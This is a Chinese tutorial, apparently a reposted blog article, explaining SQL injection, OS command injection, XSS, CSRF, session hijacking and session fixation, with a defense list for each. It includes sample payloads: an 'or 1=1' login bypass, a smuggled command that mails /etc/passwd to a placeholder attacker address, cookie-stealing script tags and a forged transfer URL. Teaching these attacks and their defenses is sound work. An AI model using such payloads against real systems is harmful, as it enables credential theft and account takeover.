1. SQL 注入攻击
定义
攻击者通过把恶意 SQL 命令插入到 web 表单的输入域或页面请求的查询字符串中, 来达到欺骗服务器执行恶意 SQL 命令的攻击方式
实例
登录页面有 Name 和 Password 两个输入域, 代码中 SQL 拼接:
SELECT * From Table WHERE Name='XX' and Password='YY'
Name 输入域随便填, Password 输入域输入'or 1=1 --',SQL 拼接之后变成
- SELECT * From Table WHERE Name='XXX' and Password=''or 1=1 --''
- (-- 表示屏蔽之后的字符)
防御
利用 addslashes 方法进行预定义字符 (如: 单引号', 双引号"", 反斜线 \) 转义
输入进行验证, 过滤非法字符串
链接数据库时, 使用预编译语句, 尽量使用 mysqli,PDO 连接数据库
尽量设置白名单, 如未设置白名单, 至少应该设置黑名单进行过滤
2. OS 注入攻击
定义
在 Web 应用中, 执行非法的操作系统命令(如: EXEC,SYSTEM), 从而达到攻击的目的
实例
一段处理发送邮件的代码
$adr = $q->param('mailaddress'); open(MAIL, "| /usr/sbin/sendmail $adr");
攻击者将下面的值作为邮件地址
; cat /etc/passwd | mail hack@example.jp
程序接收该值, 构成一下的命令组合
/usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp
最终含有 Linux 用户信息的文件被邮件发送至黑客的邮箱
防御
在客户端和服务端进行输入检查
用最小权限去运行程序, 将可执行权限缩短至最低
如果只允许运行有限的命令, 使用白名单过滤
3. 跨站脚本攻击
定义
XSS 是指恶意攻击者利用网站没有对用户提交的数据进行转义处理或者过滤不足的缺点, 进而添加一些代码, 嵌入到 Web 页面中去. 使别的用户访问都会执行相应的嵌入代码
实例 1:
留言板表单中的表单域:<input type="text" name="content" value="这里是用户填写的数据">
攻击者在 value 填写
<script>alert('foolish!')</script>
, 将数据存储到数据库中; 其他用户取出数据显示的时候, 将会执行这些攻击性代码
实例 2:
通过在表单数据在嵌入
<script>alert(document.cookie)</script>
, 获取用户 cookie, 并通过带攻击链的图片, 发送用户的 cookie
防御
将重要的 cookie 标记为 http only, 这样的话 JavaScript 中的 document.cookie 语句就不能获取到 cookie
表单数据规定值的类型, 例如: 年龄应为只能为 int,name 只能为字母数字组合...
过滤或移除特殊的 html 标签, 例如:<script>,<iframe>
利用函数进行转义处理, 例如: htmlentities(将字符转换成 HTML 实体, 例如将输入的 <转换成 <, 避免将 < 当做 HTML 标签读),addcslashes(在特定的字符前添加反斜杠字符串)...
4. 跨站请求伪造
定义
CSRF 是一种夹持用户在已经登陆的 Web 应用程序上执行非本意的操作的攻击方式, 相比于 XSS,CSRF 是利用了系统对页面浏览器的信任, XSS 则利用了系统对用户输入的信任
原理
原理
实例:
假设某游戏网站的虚拟币转账是采用 GET 方式进行操作的, 样式如:
http://www.game.com/Transfer.php?toUserId=11&vMoney=1000
此时恶意攻击者的网站也构建一个相似的链接:
http://www.game.com/Transfer.php?toUserId=20&vMoney=1000 #toUserID 为攻击的账号 ID
1, 假若客户端已经验证并登陆 www.game.com 网站, 此时客户端浏览器保存了游戏网站的验证 cookie
2, 客户端再 tab 另一个页面进行访问恶意攻击者的网站, 并从恶意攻击者的网站构造的链接来访问游戏网站
3, 浏览器将会携带该游戏网站的 cookie 进行访问, 刷一下就转给了攻击者 1000 游戏虚拟币
为避免 GET 请求出现伪造请求的方式, 可以采取 POST 方式去提交数据, 但是如果攻击者仿照一个 form 表单, 也是可以破解的
防御:
重要数据交互采用 POST 进行接收, 当然是用 POST 也不是万能的, 伪造一个 form 表单即可破解
使用验证码, 只要是涉及到数据交互就先进行验证码验证, 这个方法可以完全解决 CSRF. 但是出于用户体验考虑, 网站不能给所有的操作都加上验证码. 因此验证码只能作为一种辅助手段, 不能作为主要解决方案
验证 HTTP Referer 字段, 该字段记录了此次 HTTP 请求的来源地址, 最常见的应用是图片防盗链. PHP 中可以采用 APache URL 重写规则进行防御
为每个表单添加令牌 token 并验证
为 Cookie 添加 SameSite 属性
PS: 验证码和表单 token 的作用, 是防止表单不可被伪造, 请求确实是用户主动发起的. 表单 token 的基本思路是: 在表单中生成 key 和 value, 把这一对键值对存在 session 中, 同时在表单提交时, 用一个隐藏的标签, 提交 key 和 value 到服务器. 服务器验证
$_POST['key'] == $_SESSION['key']
, 如果是伪造的表单, 攻击者不清楚生成的 key 和 value 的算法, 是通不过服务器的验证的, key 和 value 是每次访问表单页面动态生成的, 单次有效, 具体实例可见.
5. 会话劫持
定义
在一次正常的会话过程当中(会话, 就是两台主机之间的一次通讯), 攻击者作为第三方参与到其中, 他可以在正常数据包中插入恶意数据, 也可以在双方的会话当中进行监听, 甚至可以是代替某一方主机接管会话
常用攻击类型
ARP 欺骗
DNS 欺骗
IP 欺骗
TCP 会话劫持
防御
交换式网络代替共享式网络(防范嗅探攻击)
通讯采用加密协议
监控网络流量
6. Session 固定攻击
定义
诱骗受害者使用攻击者指定的 SessionID 进行登录, 从而使 Web 不再生成新的 SessionID, 导致黑客指定的 SessionID 变成了合法桥梁, 黑客可以使用指定的 SessionID 冒充受害者身份进行违法操作
原理
攻击原理
实例 1
黑客首先用自己的账号密码登录, 得到服务器生成的 SessionId. 再利用 JS 的
document.cookie="sessionid=123"
属性, 构造自己的 SessionId, 引诱受害者进入重置 sessionId 页面, 此时黑客的 SessionId 对应的账号就是用户的账号, 而不是之前黑客自己的账号信息
实例 2
利用 HTML 的 <META > 标签加 Set-Cookie 属性
实例 3
利用 HTTP 响应头的 Set-Cookie 设置 Cookie
防御
每当用户登录时进行重置 SessionID(PHP 用 session_regenerate_id 方法)
SessionID 闲置太久时, 重置 SessionID
禁止透明化 SessionId(如采用 POST,GET 两种方式传递 sessionId), 防止黑客轻易就可以做出修改用户 sessionId 的链接, 引诱用户上当
参考博客
SQL 注入与防御
XSS 跨站脚本攻击
CSRF 攻击与防御
会话劫持
session 固定攻击
来源: http://www.jianshu.com/p/e65a7ee4b61c